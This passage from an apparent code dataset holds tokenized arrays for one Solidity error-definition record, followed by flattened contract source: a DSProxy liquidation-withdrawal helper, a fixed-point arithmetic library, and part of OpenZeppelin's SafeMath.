-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xa3a592a37803f48da9cA6c0558Ef1Fe96181c175/sources/contracts/orderbook/OrderBook.sol | Thrown when the `msg.sender` modifying an order is not its owner. @param sender `msg.sender` attempting to modify the order. @param owner The owner of the order. | error NotOrderOwner(address sender, address owner);
| 17,080,215 | [
1,
29591,
1347,
326,
1375,
3576,
18,
15330,
68,
21920,
392,
1353,
353,
486,
2097,
3410,
18,
225,
5793,
1375,
3576,
18,
15330,
68,
15600,
358,
5612,
326,
1353,
18,
225,
3410,
1021,
3410,
434,
326,
1353,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1636,
2288,
2448,
5541,
12,
2867,
5793,
16,
1758,
3410,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
// Simple contract used to withdraw liquidations using a DSProxy from legacy contracts (1.2.2 and below).
contract LiquidationWithdrawer {
function withdrawLiquidation(
address financialContractAddress,
uint256 liquidationId,
address sponsor
) public returns (FixedPoint.Unsigned memory) {
return IFinancialContract(financialContractAddress).withdrawLiquidation(liquidationId, sponsor);
}
}
interface IFinancialContract {
function withdrawLiquidation(uint256 liquidationId, address sponsor)
external
returns (FixedPoint.Unsigned memory amountWithdrawn);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
